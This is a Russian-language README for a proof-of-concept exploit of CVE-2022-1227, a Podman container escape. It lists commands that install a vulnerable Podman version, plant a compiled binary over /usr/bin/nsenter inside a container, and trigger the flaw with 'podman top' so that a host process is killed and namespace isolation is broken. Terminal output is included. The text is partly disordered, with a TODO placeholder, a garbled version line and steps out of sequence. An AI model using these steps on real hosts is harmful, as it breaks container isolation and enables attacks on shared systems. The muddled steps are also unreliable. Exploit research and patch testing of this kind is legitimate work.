
Скрипт для эксплуатации CVE-2022-1227
Скрипт для эксплуатации CVE-2022-1227.
20.10.4.0.0; 3.4.4.TODO: добавить описание принципа данной уязвимости
Следуйте инструкциям из официальной документации: https://podman.io/getting-started/installation#installing-on-linux
Для Ubuntu 20.10 команда установки должна быть такой:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
В этом разделе мы попробуем простой PoC, чтобы нарушить границу PID namespace и kill процесс на хосте.
Вот шаги:
Запустите контейнер следующей командой: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
Запустите keep из ./exp/bin и получите PID, под которым он работает. Обычно он выводит свой PID в терминал. Так как бинарный файл настроен на ожидание в течение 600 секунд, возможно, вам нужно быстро выполнить следующие шаги.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
Отредактируйте исходный код в ./exp/src/sendsig.c и подставьте PID, полученный на предыдущем шаге, в переменную pid.
int pid = OLD_VAL;
на
int pid = 7719;
Поместите скомпилированный бинарный файл внутрь podman: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
В этом разделе мы используем сокеты для организации межпроцессного взаимодействия между клиентом в контейнере и сервером на хосте, что обычно невозможно при полной изоляции. Мы используем эту уязвимость, чтобы преодолеть изоляцию сетевого пространства имён и реализовать этот эксплойт.
Сначала перейдите в каталог с помощью cd ./exp;
Просто запустив ./exploit.sh, вы выполните всё автоматически; если всё пройдёт успешно, сервер выведет:
Hello from the container!
Это означает, что мы пересекли сетевое пространство имён и совершили побег.
Запустите podman top, чтобы вызвать уязвимость: podman top -l
Если всё прошло правильно, работающий процесс keep будет немедленно убит. Это необычно, потому что в обычных условиях процессы внутри контейнера не могут отправлять сигналы процессам на хосте из-за изоляции пространства имён PID.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed